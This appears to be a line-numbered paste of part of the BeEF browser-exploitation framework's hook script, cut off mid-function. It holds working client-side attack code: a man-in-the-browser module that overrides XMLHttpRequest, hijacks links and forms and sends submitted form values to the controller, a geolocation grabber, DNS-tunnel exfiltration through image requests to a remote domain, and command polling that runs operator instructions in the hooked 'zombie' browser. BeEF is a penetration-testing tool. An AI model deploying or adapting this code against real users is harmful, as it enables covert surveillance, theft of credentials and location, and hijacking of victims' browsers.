  8242. enc1 = chr1 >> 2;
  8243. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  8244. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  8245. enc4 = chr3 & 63;
  8246.  
  8247. if (isNaN(chr2)) {
  8248. enc3 = enc4 = 64;
  8249. } else if (isNaN(chr3)) {
  8250. enc4 = 64;
  8251. }
  8252.  
  8253. output = output +
  8254. this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
  8255. this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
  8256.  
  8257. }
  8258.  
  8259. return output;
  8260. },
  8261.  
  8262.  
  8263. decode : function (input) {
  8264. if (window.atob) {
  8265. return escape(atob(input));
  8266. }
  8267.  
  8268. var output = "";
  8269. var chr1, chr2, chr3;
  8270. var enc1, enc2, enc3, enc4;
  8271. var i = 0;
  8272.  
  8273. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  8274.  
  8275. while (i < input.length) {
  8276.  
  8277. enc1 = this.keyStr.indexOf(input.charAt(i++));
  8278. enc2 = this.keyStr.indexOf(input.charAt(i++));
  8279. enc3 = this.keyStr.indexOf(input.charAt(i++));
  8280. enc4 = this.keyStr.indexOf(input.charAt(i++));
  8281.  
  8282. chr1 = (enc1 << 2) | (enc2 >> 4);
  8283. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  8284. chr3 = ((enc3 & 3) << 6) | enc4;
  8285.  
  8286. output = output + String.fromCharCode(chr1);
  8287.  
  8288. if (enc3 != 64) {
  8289. output = output + String.fromCharCode(chr2);
  8290. }
  8291. if (enc4 != 64) {
  8292. output = output + String.fromCharCode(chr3);
  8293. }
  8294.  
  8295. }
  8296.  
  8297. output = beef.encode.base64.utf8_decode(output);
  8298.  
  8299. return output;
  8300.  
  8301. },
  8302.  
  8303.  
  8304. utf8_encode : function (string) {
  8305. string = string.replace(/\r\n/g,"\n");
  8306. var utftext = "";
  8307.  
  8308. for (var n = 0; n < string.length; n++) {
  8309.  
  8310. var c = string.charCodeAt(n);
  8311.  
  8312. if (c < 128) {
  8313. utftext += String.fromCharCode(c);
  8314. }
  8315. else if((c > 127) && (c < 2048)) {
  8316. utftext += String.fromCharCode((c >> 6) | 192);
  8317. utftext += String.fromCharCode((c & 63) | 128);
  8318. }
  8319. else {
  8320. utftext += String.fromCharCode((c >> 12) | 224);
  8321. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  8322. utftext += String.fromCharCode((c & 63) | 128);
  8323. }
  8324.  
  8325. }
  8326.  
  8327. return utftext;
  8328. },
  8329.  
  8330. utf8_decode : function (utftext) {
  8331. var string = "";
  8332. var i = 0;
  8333. var c = c1 = c2 = 0;
  8334.  
  8335. while ( i < utftext.length ) {
  8336.  
  8337. c = utftext.charCodeAt(i);
  8338.  
  8339. if (c < 128) {
  8340. string += String.fromCharCode(c);
  8341. i++;
  8342. }
  8343. else if((c > 191) && (c < 224)) {
  8344. c2 = utftext.charCodeAt(i+1);
  8345. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  8346. i += 2;
  8347. }
  8348. else {
  8349. c2 = utftext.charCodeAt(i+1);
  8350. c3 = utftext.charCodeAt(i+2);
  8351. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  8352. i += 3;
  8353. }
  8354.  
  8355. }
  8356.  
  8357. return string;
  8358. }
  8359.  
  8360. };
  8361.  
  8362. beef.regCmp('beef.encode.base64');
  8363.  
  8364.  
  8365. //
  8366. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8367. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8368. // See the file 'doc/COPYING' for copying permission
  8369. //
  8370.  
  8371. // Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
  8372.  
  8373. beef.encode.json = {
  8374.  
  8375. stringify: function(o) {
  8376. if (typeof(JSON) == 'object' && JSON.stringify) {
  8377. // Error on stringifying cylcic structures caused polling to die
  8378. try {
  8379. s = JSON.stringify(o);
  8380. } catch(error) {
  8381. // TODO log error / handle cyclic structures?
  8382. }
  8383. return s;
  8384. }
  8385. var type = typeof(o);
  8386.  
  8387. if (o === null)
  8388. return "null";
  8389.  
  8390. if (type == "undefined")
  8391. return '\"\"';
  8392.  
  8393. if (type == "number" || type == "boolean")
  8394. return o + "";
  8395.  
  8396. if (type == "string")
  8397. return $j.quoteString(o);
  8398.  
  8399. if (type == 'object')
  8400. {
  8401. if (typeof o.toJSON == "function")
  8402. return $j.toJSON( o.toJSON() );
  8403.  
  8404. if (o.constructor === Date)
  8405. {
  8406. var month = o.getUTCMonth() + 1;
  8407. if (month < 10) month = '0' + month;
  8408.  
  8409. var day = o.getUTCDate();
  8410. if (day < 10) day = '0' + day;
  8411.  
  8412. var year = o.getUTCFullYear();
  8413.  
  8414. var hours = o.getUTCHours();
  8415. if (hours < 10) hours = '0' + hours;
  8416.  
  8417. var minutes = o.getUTCMinutes();
  8418. if (minutes < 10) minutes = '0' + minutes;
  8419.  
  8420. var seconds = o.getUTCSeconds();
  8421. if (seconds < 10) seconds = '0' + seconds;
  8422.  
  8423. var milli = o.getUTCMilliseconds();
  8424. if (milli < 100) milli = '0' + milli;
  8425. if (milli < 10) milli = '0' + milli;
  8426.  
  8427. return '"' + year + '-' + month + '-' + day + 'T' +
  8428. hours + ':' + minutes + ':' + seconds +
  8429. '.' + milli + 'Z"';
  8430. }
  8431.  
  8432. if (o.constructor === Array)
  8433. {
  8434. var ret = [];
  8435. for (var i = 0; i < o.length; i++)
  8436. ret.push( $j.toJSON(o[i]) || "null" );
  8437.  
  8438. return "[" + ret.join(",") + "]";
  8439. }
  8440.  
  8441. var pairs = [];
  8442. for (var k in o) {
  8443. var name;
  8444. var type = typeof k;
  8445.  
  8446. if (type == "number")
  8447. name = '"' + k + '"';
  8448. else if (type == "string")
  8449. name = $j.quoteString(k);
  8450. else
  8451. continue; //skip non-string or number keys
  8452.  
  8453. if (typeof o[k] == "function")
  8454. continue; //skip pairs where the value is a function.
  8455.  
  8456. var val = $j.toJSON(o[k]);
  8457.  
  8458. pairs.push(name + ":" + val);
  8459. }
  8460.  
  8461. return "{" + pairs.join(", ") + "}";
  8462. }
  8463. },
  8464.  
  8465. quoteString: function(string) {
  8466. if (string.match(this._escapeable))
  8467. {
  8468. return '"' + string.replace(this._escapeable, function (a)
  8469. {
  8470. var c = this._meta[a];
  8471. if (typeof c === 'string') return c;
  8472. c = a.charCodeAt();
  8473. return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
  8474. }) + '"';
  8475. }
  8476. return '"' + string + '"';
  8477. },
  8478.  
  8479. _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
  8480.  
  8481. _meta : {
  8482. '\b': '\\b',
  8483. '\t': '\\t',
  8484. '\n': '\\n',
  8485. '\f': '\\f',
  8486. '\r': '\\r',
  8487. '"' : '\\"',
  8488. '\\': '\\\\'
  8489. }
  8490. };
  8491.  
  8492. $j.toJSON = function(o) {return beef.encode.json.stringify(o);};
  8493. $j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
  8494.  
  8495. beef.regCmp('beef.encode.json');
  8496.  
  8497.  
  8498. //
  8499. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8500. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8501. // See the file 'doc/COPYING' for copying permission
  8502. //
  8503.  
  8504. /*!
  8505. * @literal object: beef.net.local
  8506. *
  8507. * Provides networking functions for the local/internal network of the zombie.
  8508. */
  8509. beef.net.local = {
  8510.  
  8511. sock: false,
  8512. checkJava: false,
  8513. hasJava: false,
  8514.  
  8515. /**
  8516. * Initializes the java socket. We have to use this method because
  8517. * some browsers do not have java installed or it is not accessible.
  8518. * in which case creating a socket directly generates an error. So this code
  8519. * is invalid:
  8520. * sock: new java.net.Socket();
  8521. */
  8522.  
  8523. initializeSocket: function() {
  8524. if(this.checkJava){
  8525. if(!beef.browser.hasJava()) {
  8526. this.checkJava=True;
  8527. this.hasJava=False;
  8528. return -1;
  8529. }else{
  8530. this.checkJava=True;
  8531. this.hasJava=True;
  8532. return 1;
  8533. }
  8534. }
  8535. else{
  8536. if(!this.hasJava) return -1;
  8537. else{
  8538. try {
  8539. this.sock = new java.net.Socket();
  8540. } catch(e) {
  8541. return -1;
  8542. }
  8543. return 1;
  8544. }
  8545. }
  8546. },
  8547.  
  8548. /**
  8549. * Returns the internal IP address of the zombie.
  8550. * @return: {String} the internal ip of the zombie.
  8551. * @error: return -1 if the internal ip cannot be retrieved.
  8552. */
  8553. getLocalAddress: function() {
  8554. if(!this.hasJava) return false;
  8555.  
  8556. this.initializeSocket();
  8557.  
  8558. try {
  8559. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  8560. this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  8561.  
  8562. return this.sock.getLocalAddress().getHostAddress();
  8563. } catch(e) { return false; }
  8564. },
  8565.  
  8566. /**
  8567. * Returns the internal hostname of the zombie.
  8568. * @return: {String} the internal hostname of the zombie.
  8569. * @error: return -1 if the hostname cannot be retrieved.
  8570. */
  8571. getLocalHostname: function() {
  8572. if(!this.hasJava) return false;
  8573.  
  8574. this.initializeSocket();
  8575.  
  8576. try {
  8577. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  8578. this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  8579.  
  8580. return this.sock.getLocalAddress().getHostName();
  8581. } catch(e) { return false; }
  8582. }
  8583.  
  8584. };
  8585.  
  8586. beef.regCmp('beef.net.local');
  8587.  
  8588.  
  8589. //
  8590. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8591. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8592. // See the file 'doc/COPYING' for copying permission
  8593. //
  8594.  
  8595. /**
  8596. * @literal object: beef.init
  8597. * Contains the beef_init() method which starts the BeEF client-side
  8598. * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
  8599. *
  8600. * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
  8601. * and will have a new session id. The new session id will need to know
  8602. * the brwoser details. So sendback the browser details again.
  8603. */
  8604.  
  8605. beef.session.get_hook_session_id();
  8606.  
  8607. if (beef.pageIsLoaded) {
  8608. beef.net.browser_details();
  8609. }
  8610.  
  8611. window.onload = function () {
  8612. beef_init();
  8613. };
  8614.  
  8615. window.onpopstate = function (event) {
  8616. if (beef.onpopstate.length > 0) {
  8617. event.preventDefault;
  8618. for (var i = 0; i < beef.onpopstate.length; i++) {
  8619. var callback = beef.onpopstate[i];
  8620. try {
  8621. callback(event);
  8622. } catch (e) {
  8623. beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
  8624. }
  8625. return false;
  8626. }
  8627. }
  8628. };
  8629.  
  8630. window.onclose = function (event) {
  8631. if (beef.onclose.length > 0) {
  8632. event.preventDefault;
  8633. for (var i = 0; i < beef.onclose.length; i++) {
  8634. var callback = beef.onclose[i];
  8635. try {
  8636. callback(event);
  8637. } catch (e) {
  8638. beef.debug("window.onclose - couldn't execute callback: " + e.message);
  8639. }
  8640. return false;
  8641. }
  8642. }
  8643. };
  8644.  
  8645. /**
  8646. * Starts the polling mechanism, and initialize various components:
  8647. * - browser details (see browser.js) are sent back to the "/init" handler
  8648. * - the polling starts (checks for new commands, and execute them)
  8649. * - the logger component is initialized (see logger.js)
  8650. * - the Autorun Engine is initialized (see are.js)
  8651. */
  8652. function beef_init() {
  8653. if (!beef.pageIsLoaded) {
  8654. beef.pageIsLoaded = true;
  8655. beef.net.browser_details();
  8656.  
  8657. if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
  8658. setTimeout(function(){
  8659. beef.websocket.start();
  8660. beef.updater.execute_commands();
  8661. beef.logger.start();
  8662. }, parseInt(beef.websocket.ws_connect_timeout));
  8663. }else {
  8664. beef.net.browser_details();
  8665. beef.updater.execute_commands();
  8666. beef.updater.check();
  8667. beef.logger.start();
  8668. }
  8669. }
  8670. }
  8671.  
  8672.  
  8673. //
  8674. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8675. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8676. // See the file 'doc/COPYING' for copying permission
  8677. //
  8678.  
  8679.  
  8680. beef.mitb = {
  8681.  
  8682. cid:null,
  8683. curl:null,
  8684.  
  8685. init:function (cid, curl) {
  8686. beef.mitb.cid = cid;
  8687. beef.mitb.curl = curl;
  8688. /*Override open method to intercept ajax request*/
  8689. var hook_file = "/hook.js";
  8690.  
  8691. if (window.XMLHttpRequest && !(window.ActiveXObject)) {
  8692.  
  8693. beef.mitb.sniff("Method XMLHttpRequest.open override");
  8694. (function (open) {
  8695. XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
  8696. // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
  8697. // or a request initiated by the MiTB itself.
  8698. if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
  8699. open.call(this, method, url, async, true);
  8700. }else {
  8701. var portRegex = new RegExp(":[0-9]+");
  8702. var portR = portRegex.exec(url);
  8703. var requestPort;
  8704. if (portR != null) { requestPort = portR[0].split(":")[1]; }
  8705.  
  8706. //GET request
  8707. if (method == "GET") {
  8708. //GET request -> cross-origin
  8709. if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
  8710. beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
  8711. window.open(url);
  8712. }else { //GET request -> same-origin
  8713. beef.mitb.sniff("GET [Ajax Request]: " + url);
  8714. if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
  8715. var title = "";
  8716. if (document.getElementsByTagName("title").length == 0) {
  8717. title = document.title;
  8718. } else {
  8719. title = document.getElementsByTagName("title")[0].innerHTML;
  8720. }
  8721. // write the url of the page
  8722. history.pushState({ Be:"EF" }, title, url);
  8723. }
  8724. }
  8725. }else{
  8726. //POST request
  8727. beef.mitb.sniff("POST ajax request to: " + url);
  8728. open.call(this, method, url, async, true);
  8729. }
  8730. }
  8731. };
  8732. })(XMLHttpRequest.prototype.open);
  8733. }
  8734. },
  8735.  
  8736. // Initializes the hook on anchors and forms.
  8737. hook:function () {
  8738. beef.onpopstate.push(function (event) {
  8739. beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
  8740. });
  8741. beef.onclose.push(function (event) {
  8742. beef.mitb.endSession();
  8743. });
  8744.  
  8745. var anchors = document.getElementsByTagName("a");
  8746. var forms = document.getElementsByTagName("form");
  8747. var lis = document.getElementsByTagName("li");
  8748.  
  8749. for (var i = 0; i < anchors.length; i++) {
  8750. anchors[i].onclick = beef.mitb.poisonAnchor;
  8751. }
  8752. for (var i = 0; i < forms.length; i++) {
  8753. beef.mitb.poisonForm(forms[i]);
  8754. }
  8755.  
  8756. for (var i = 0; i < lis.length; i++) {
  8757. if (lis[i].hasAttribute("onclick")) {
  8758. lis[i].removeAttribute("onclick");
  8759. /*clear*/
  8760. lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
  8761. /*override*/
  8762.  
  8763. }
  8764. }
  8765. },
  8766.  
  8767. // Hooks anchors and prevents them from linking away
  8768. poisonAnchor:function (e) {
  8769. try {
  8770. e.preventDefault;
  8771. if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
  8772. var title = "";
  8773. if (document.getElementsByTagName("title").length == 0) {
  8774. title = document.title;
  8775. } else {
  8776. title = document.getElementsByTagName("title")[0].innerHTML;
  8777. }
  8778. history.pushState({ Be:"EF" }, title, e.currentTarget);
  8779. }
  8780. } catch (e) {
  8781. beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
  8782. }
  8783. return false;
  8784. },
  8785.  
  8786. // Hooks forms and prevents them from linking away
  8787. poisonForm:function (form) {
  8788. form.onsubmit = function (e) {
  8789.  
  8790. // Collect <input> tags.
  8791. var inputs = form.getElementsByTagName("input");
  8792. var query = "";
  8793. for (var i = 0; i < inputs.length; i++) {
  8794. switch (inputs[i].type) {
  8795. case "submit":
  8796. break;
  8797. default:
  8798. query += inputs[i].name + "=" + inputs[i].value + '&';
  8799. break;
  8800. }
  8801. }
  8802.  
  8803. // Collect selected options from the form.
  8804. var selects = form.getElementsByTagName("select");
  8805. for (var i = 0; i < selects.length; i++) {
  8806. var select = selects[i];
  8807. query += select.name + "=" + select.options[select.selectedIndex].value + '&';
  8808. }
  8809.  
  8810. // We should be gathering 'submit' inputs as well, as there are
  8811. // applications demanding this parameter.
  8812. var submit = $j('*[type="submit"]', form);
  8813. if(submit.length) {
  8814. // Append name of the submit button/input.
  8815. query += submit.attr('name') + '=' + submit.attr('value');
  8816. }
  8817.  
  8818. if(query.slice(-1) == '&') {
  8819. query = query.slice(0, -1);
  8820. }
  8821.  
  8822. e.preventdefault;
  8823. beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
  8824. history.pushState({ Be:"EF" }, "", form.action);
  8825. return false;
  8826. }
  8827. },
  8828.  
  8829. // Fetches a hooked form with AJAX
  8830. fetchForm:function (url, query, target) {
  8831. try {
  8832. var y = new XMLHttpRequest();
  8833. y.open('POST', url, false, true);
  8834. y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  8835. y.onreadystatechange = function () {
  8836. if (y.readyState == 4 && y.responseText != "") {
  8837. target.innerHTML = y.responseText;
  8838. setTimeout(beef.mitb.hook, 10);
  8839. }
  8840. };
  8841. y.send(query);
  8842. beef.mitb.sniff("POST: " + url + "[" + query + "]");
  8843. return true;
  8844. } catch (x) {
  8845. return false;
  8846. }
  8847. },
  8848.  
  8849. // Fetches a hooked link with AJAX
  8850. fetch:function (url, target) {
  8851. try {
  8852. var y = new XMLHttpRequest();
  8853. y.open('GET', url, false, true);
  8854. y.onreadystatechange = function () {
  8855. if (y.readyState == 4 && y.responseText != "") {
  8856. target.innerHTML = y.responseText;
  8857. setTimeout(beef.mitb.hook, 10);
  8858. }
  8859. };
  8860. y.send(null);
  8861. beef.mitb.sniff("GET: " + url);
  8862. return true;
  8863. } catch (x) {
  8864. window.open(url);
  8865. beef.mitb.sniff("GET [New Window]: " + url);
  8866. return false;
  8867. }
  8868. },
  8869.  
  8870. // Fetches a window.location=http://domainname.com and setting up history
  8871. fetchOnclick:function (url) {
  8872. try {
  8873. var target = document.getElementsByTagName("html")[0];
  8874. var y = new XMLHttpRequest();
  8875. y.open('GET', url, false, true);
  8876. y.onreadystatechange = function () {
  8877. if (y.readyState == 4 && y.responseText != "") {
  8878. var title = "";
  8879. if (document.getElementsByTagName("title").length == 0) {
  8880. title = document.title;
  8881. }
  8882. else {
  8883. title = document.getElementsByTagName("title")[0].innerHTML;
  8884. }
  8885. history.pushState({ Be:"EF" }, title, url);
  8886. target.innerHTML = y.responseText;
  8887. setTimeout(beef.mitb.hook, 10);
  8888. }
  8889. };
  8890. y.send(null);
  8891. beef.mitb.sniff("GET: " + url);
  8892.  
  8893. } catch (x) {
  8894. // the link is cross-origin, so load the resource in a different tab
  8895. window.open(url);
  8896. beef.mitb.sniff("GET [New Window]: " + url);
  8897. }
  8898. },
  8899.  
  8900. // Relays an entry to the framework
  8901. sniff:function (result) {
  8902. try {
  8903. beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
  8904. } catch (x) {
  8905. }
  8906. return true;
  8907. },
  8908.  
  8909. // Signals the Framework that the user has lost the hook
  8910. endSession:function () {
  8911. beef.mitb.sniff("Window closed.");
  8912. }
  8913. };
  8914.  
  8915. beef.regCmp('beef.mitb');
  8916.  
  8917.  
  8918. //
  8919. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8920. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8921. // See the file 'doc/COPYING' for copying permission
  8922. //
  8923.  
  8924. /*!
  8925. * @literal object: beef.geolocation
  8926. *
  8927. * Provides functionalities to use the geolocation API.
  8928. */
  8929. beef.geolocation = {
  8930.  
  8931. /**
  8932. * check if browser supports the geolocation API
  8933. */
  8934. isGeolocationEnabled: function(){
  8935. return !!navigator.geolocation;
  8936. },
  8937.  
  8938. /*
  8939. * given latitude/longitude retrieves exact street position of the zombie
  8940. */
  8941. getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
  8942.  
  8943. // fixes damned issues with jquery 1.5, like this one:
  8944. // http://bugs.jquery.com/ticket/8084
  8945. $j.ajaxSetup({
  8946. jsonp: null,
  8947. jsonpCallback: null
  8948. });
  8949.  
  8950. $j.ajax({
  8951. error: function(xhr, status, error){
  8952. beef.debug("[geolocation.js] openstreetmap error");
  8953. beef.net.send(command_url, command_id, "latitude=" + latitude
  8954. + "&longitude=" + longitude
  8955. + "&osm=UNAVAILABLE"
  8956. + "&geoLocEnabled=True");
  8957. },
  8958. success: function(data, status, xhr){
  8959. beef.debug("[geolocation.js] openstreetmap success");
  8960. var jsonResp = $j.parseJSON(data);
  8961.  
  8962. beef.net.send(command_url, command_id, "latitude=" + latitude
  8963. + "&longitude=" + longitude
  8964. // + "&osm=" + encodeURI(jsonResp.display_name)
  8965. + "&osm=tofix"
  8966. + "&geoLocEnabled=True");
  8967. },
  8968. type: "get",
  8969. url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
  8970. latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
  8971. });
  8972.  
  8973. },
  8974.  
  8975. /*
  8976. * retrieve latitude/longitude using the geolocation API
  8977. */
  8978. getGeolocation: function (command_url, command_id){
  8979.  
  8980. if (!navigator.geolocation) {
  8981. beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
  8982. return;
  8983. }
  8984. beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
  8985. navigator.geolocation.getCurrentPosition( //note: this is an async call
  8986. function(position){ // success
  8987. var latitude = position.coords.latitude;
  8988. var longitude = position.coords.longitude;
  8989. beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
  8990. beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
  8991.  
  8992. }, function(error){ // failure
  8993. beef.debug("[geolocation.js] error [%d] getting position", error.code);
  8994. switch(error.code) // Returns 0-3
  8995. {
  8996. case 0:
  8997. beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  8998. return;
  8999. case 1:
  9000. beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
  9001. return;
  9002. case 2:
  9003. beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
  9004. return;
  9005. case 3:
  9006. beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
  9007. return;
  9008. }
  9009. beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  9010. },
  9011. {enableHighAccuracy:true, maximumAge:30000, timeout:27000}
  9012. );
  9013. }
  9014. }
  9015.  
  9016.  
  9017. beef.regCmp('beef.geolocation');
  9018.  
  9019.  
  9020. //
  9021. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  9022. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9023. // See the file 'doc/COPYING' for copying permission
  9024. //
  9025.  
  9026. /*!
  9027. * @literal object: beef.net.dns
  9028. *
  9029. * request object structure:
  9030. * + msgId: {Integer} Unique message ID for the request.
  9031. * + domain: {String} Remote domain to retrieve the data.
  9032. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  9033. * + callback: {Function} Callback function to receive the number of requests sent.
  9034. */
  9035.  
  9036. beef.net.dns = {
  9037.  
  9038. handler: "dns",
  9039.  
  9040. send: function(msgId, data, domain, callback) {
  9041.  
  9042. var encode_data = function(str) {
  9043. var result="";
  9044. for(i=0;i<str.length;++i) {
  9045. result+=str.charCodeAt(i).toString(16).toUpperCase();
  9046. }
  9047. return result;
  9048. };
  9049.  
  9050. var encodedData = encodeURI(encode_data(data));
  9051.  
  9052. beef.debug(encodedData);
  9053. beef.debug("_encodedData_ length: " + encodedData.length);
  9054.  
  9055. // limitations to DNS according to RFC 1035:
  9056. // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
  9057. // o Domain names are limited to 255 characters in length (including dots)
  9058. // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
  9059. // o Subdomains are limited to 63 characters in length (including the trailing dot)
  9060.  
  9061. // DNS request structure:
  9062. // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
  9063. //max_length: 3. 3 . 3 . 63 . x
  9064.  
  9065. // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
  9066. // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
  9067. var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
  9068. var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
  9069. var max_data_segment_length = 63; // by RFC
  9070.  
  9071. beef.debug("max_data_segment_length: " + max_data_segment_length);
  9072.  
  9073. var dom = document.createElement('b');
  9074.  
  9075. String.prototype.chunk = function(n) {
  9076. if (typeof n=='undefined') n=100;
  9077. return this.match(RegExp('.{1,'+n+'}','g'));
  9078. };
  9079.  
  9080. var sendQuery = function(query) {
  9081. var img = new Image;
  9082. //img.src = "http://"+query;
  9083. img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
  9084. img.onload = function() { dom.removeChild(this); }
  9085. img.onerror = function() { dom.removeChild(this); }
  9086. dom.appendChild(img);
  9087.  
  9088. //experimental
  9089. //setTimeout(function(){dom.removeChild(img)},1000);
  9090. };
  9091.  
  9092. var segments = encodedData.chunk(max_data_segment_length);
  9093.  
  9094. var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
  9095.  
  9096. beef.debug(segments.length);
  9097.  
  9098. for (var seq=1; seq<=segments.length; seq++) {
  9099. sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
  9100. }
  9101.  
  9102. // callback - returns the number of queries sent
  9103. if (!!callback) callback(segments.length);
  9104.  
  9105. }
  9106.  
  9107. };
  9108.  
  9109. beef.regCmp('beef.net.dns');
  9110.  
  9111.  
  9112.  
  9113. //
  9114. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  9115. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9116. // See the file 'doc/COPYING' for copying permission
  9117. //
  9118.  
  9119. // beef.net.connection - wraps Mozilla's Network Information API
  9120. // https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
  9121. // https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
  9122. beef.net.connection = {
  9123.  
  9124. /* Returns the connection type
  9125. * @example: beef.net.connection.type()
  9126. * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
  9127. * @return: {String} connection type or 'unknown'.
  9128. **/
  9129. type: function () {
  9130. try {
  9131. var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  9132. var type = connection.type;
  9133. if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
  9134. } catch(e) {
  9135. beef.debug("Error retrieving connection type: " + e.message);
  9136. return 'unknown';
  9137. }
  9138. },
  9139.  
  9140. /* Returns the maximum downlink speed of the connection
  9141. * @example: beef.net.connection.downlinkMax()
  9142. * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
  9143. * @return: {String} downlink max or 'unknown'.
  9144. **/
  9145. downlinkMax: function () {
  9146. try {
  9147. var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  9148. var max = connection.downlinkMax;
  9149. if (max) return max; else return 'unknown';
  9150. } catch(e) {
  9151. beef.debug("Error retrieving connection downlink max: " + e.message);
  9152. return 'unknown';
  9153. }
  9154. }
  9155.  
  9156. };
  9157.  
  9158. beef.regCmp('beef.net.connection');
  9159.  
  9160.  
  9161.  
  9162. beef.net.cors = {
  9163.  
  9164. handler: "cors",
  9165.  
  9166. /**
  9167. * Response Object - used in the beef.net.request callback
  9168. */
  9169. response:function () {
  9170. this.status = null; // 500, 404, 200, 302, etc
  9171. this.headers = null; // full response headers
  9172. this.body = null; // full response body
  9173. },
  9174.  
  9175. /**
  9176. * Make a cross-origin request using CORS
  9177. *
  9178. * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
  9179. * @param url {String} url
  9180. * @param data {String} request body
  9181. * @param timeout {Integer} request timeout in milliseconds
  9182. * @param callback {Function} function to callback on completion
  9183. */
  9184. request: function(method, url, data, timeout, callback) {
  9185.  
  9186. var xhr;
  9187. var response = new this.response;
  9188.  
  9189. if (XMLHttpRequest) {
  9190. xhr = new XMLHttpRequest();
  9191.  
  9192. if ('withCredentials' in xhr) {
  9193. xhr.open(method, url, true);
  9194. xhr.timeout = parseInt(timeout, 10);
  9195. xhr.onerror = function() {
  9196. };
  9197. xhr.onreadystatechange = function() {
  9198. if (xhr.readyState === 4) {
  9199. response.headers = this.getAllResponseHeaders()
  9200. response.body = this.responseText;
  9201. response.status = this.status;
  9202. if (!!callback) {
  9203. if (!!response) {
  9204. callback(response);
  9205. } else {
  9206. callback('ERROR: No Response. CORS requests may be denied for this resource.')
  9207. }
  9208. }
  9209. }
  9210. };
  9211. xhr.send(data);
